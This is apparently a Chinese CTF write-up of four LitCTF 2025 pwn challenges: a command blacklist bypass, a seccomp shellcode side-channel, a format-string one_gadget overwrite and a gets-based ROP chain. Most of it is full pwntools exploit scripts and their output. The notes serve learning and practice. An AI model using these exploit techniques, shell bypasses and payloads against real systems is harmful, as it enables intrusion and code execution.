0x00

2025-6-30:犯懒了,仅仅复现了nc这道题目
2025-9-21补:wmctf强度太大,回过头来复现一下这个,放松一下身心

0x01 nc

把附件拖进ida发现得出了我看不懂的一坨玩意
在re手的指导下,直接用vscode打开得到了一段python代码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)

直接给到了system执行,但是过滤了一系列命令
我第一思路是变量替换,输入如下

1
a=s;b=h;$a$b

直接输入$0也可getshell

0x02 shellcode

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed");
exit(1);
}
puts("Welcome LitCTF 2025");
puts("Please input your shellcode: ");
fflush(_bss_start);
init_sandbox();
read(0, buf, 0x100uLL);
((void (*)(void))buf)();
return 0;
}

看沙箱

1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

openreadwrite,直接侧信道爆破
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node6.anna.nssctf.cn"
port = 25114
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


#
def find(i, c):
global io
io = start()
shellcode = asm("""
mov rax, 0
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.recvuntil(b'shellcode: \n')
io.send(shellcode)

try:
io.recv(timeout=1)
io.close()
return True
except EOFError:
io.close()
return False

flag = ''
i = 0
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
print(l)
flag += chr(l)
log.success("right, flag now is --> "+flag)
i += 1

log.success("final flag --> "+flag)

io.interactive()

爆破几分钟后

1
2
3
4
5
6
7
8
9
[DEBUG] Sent 0x3f bytes:
00000000 48 c7 c0 00 00 00 00 48 b8 66 6c 61 67 00 00 00 │H···│···H│·fla│g···│
00000010 00 6a 00 50 54 5f 48 31 f6 48 31 d2 48 c7 c0 02 │·j·P│T_H1│·H1·│H···│
00000020 00 00 00 0f 05 48 89 fe 48 89 c7 48 31 c0 48 c7 │····│·H··│H··H│1·H·│
00000030 c2 00 01 00 00 0f 05 8a 44 24 2c 3c 20 76 fe │····│····│D$,<│ v·│
0000003f
[*] Closed connection to node6.anna.nssctf.cn port 25114
32
[+] right, flag now is --> NSSCTF{3e8b3993-0c36-4a66-8e52-5104b9d9f808}

0x03 onlyone

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome Lictf 2025");
printf("gift 1 is %p\n", &v3);
printf("gift 2 is %p\n", &puts);
read(0, buf, 0x100uLL);
printf(buf);
_exit(0);
}

给了栈地址和libc地址,非栈上格串,在printf的返回地址后一个单元部署one_gadget,最后修改printf的返回地址为ret即可
见另一篇博客
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6_2.31-0ubuntu9.17_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node1.anna.nssctf.cn"
port = 28326
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b printf
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibc-source_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
# printf_ret = leak_stack_addr - 0xf p1 --> 11$ p2 --> 39$ p1' --> 27$ p2' --> 41$

io.recvuntil(b'0x')
printf_ret = int(io.recv(12), 16) - 0xf
io.recvuntil(b'0x')
libc_base = int(io.recv(12), 16) - libc.sym['puts']
log.info("libc_base --> "+hex(libc_base))
log.info("printf_ret --> "+hex(printf_ret))

printf_ret = printf_ret & 0xffff

payload = b'%p'*9 + '%{}c'.format(printf_ret - 0x5c).encode() + b"%hn" + \
'%{}c'.format(0x10000 - printf_ret + 0xba).encode() + b"%39$hhn"
io.send(payload)

io.recvuntil(b'0x')
elf_base = int(io.recv(12), 16) - 0x201060
log.info("elf_base --> "+hex(elf_base))
ret = elf_base + 0x954

#0xe3afe execve("/bin/sh", r15, r12)
#constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

#0xe3b01 execve("/bin/sh", r15, rdx)
#constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

#0xe3b04 execve("/bin/sh", rsi, rdx)
#constraints:
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

one_gadget = libc_base + 0xe3b01
target = printf_ret + 0x8

# put ogg to stack
payload = '%{}c'.format(0xba).encode() + b"%39$hhn" + \
'%{}c'.format(target - 0xba).encode() + b"%27$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0xba).encode() + b"%39$hhn" + \
'%{}c'.format((one_gadget & 0xffff) - 0xba).encode() + b"%41$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0xba).encode() + b"%39$hhn" + \
'%{}c'.format(target + 2 - 0xba).encode() + b"%27$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0xba).encode() + b"%39$hhn" + \
'%{}c'.format(((one_gadget >> 16) & 0xffff) - 0xba).encode() + b"%41$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0xba).encode() + b"%39$hhn" + \
'%{}c'.format(target + 4 - 0xba).encode() + b"%27$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0xba).encode() + b"%39$hhn" + \
'%{}c'.format(((one_gadget >> 32) & 0xffff) - 0xba).encode() + b"%41$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(ret & 0xffff).encode() + b"%39$hn" # return to 'ret'
payload=payload.ljust(0x100,b'\x00')
io.send(payload)


io.interactive()

效果如下

1
2
3
4
5
6
7
                                                                                                                                       `$                  c                                                                                                                                                           ca                                                                                                                                                          cat                                                                                                                                                         cat                                                                                                                                                         cat f                                                                                                                                                       cat fl                                                                                                                                                      cat fla                                                                                                                                                     cat flag                                                                                                                                                    cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'NSSCTF{472249c4-2a1e-41be-ac8f-5cbe8fb412e8}\n'
NSSCTF{472249c4-2a1e-41be-ac8f-5cbe8fb412e8}
$

0x04 master of rop

题目源码

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_BYTE v4[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Welcome to LitCTF2025!");
gets(v4, a2);
return 0LL;
}

gets函数…然而这里没有可用的gadget
参考文章,套板子(针对gets的手法价值不大)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/libc6_2.39-0ubuntu8_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "node6.anna.nssctf.cn"
port = 20416
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/libc6-dbg_2.39-0ubuntu8_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/glibc-source_2.39-0ubuntu8_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
gets_plt = elf.plt['gets']
puts_plt = elf.plt['puts']
call_gets = 0x4011c8
main = 0x4011ad

io.recvuntil("Welcome to LitCTF2025!\n")
payload = b'a'*0x20 + p64(0x404500) + p64(gets_plt)*2 + p64(puts_plt) + p64(call_gets)
io.sendline(payload)

io.sendline(p32(0) + b'a'*0xc)
io.sendline(b'a'*0x4)
io.recv(8)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) + 0x28c0
log.success('libc_base --> ' + hex(libc_base))

pop_rdi_ret = libc_base + 0x10f75b
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh'))
ret = pop_rdi_ret + 1
log.info(hex(system))
log.info(hex(libc.sym['system']))

payload = b'a'*0x28 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
io.sendline(payload)

io.interactive()

libc小版本有问题,懒得搞了,我去你的***

0xff

时隔好几个月,回过头一看,过去的自己好菜啊…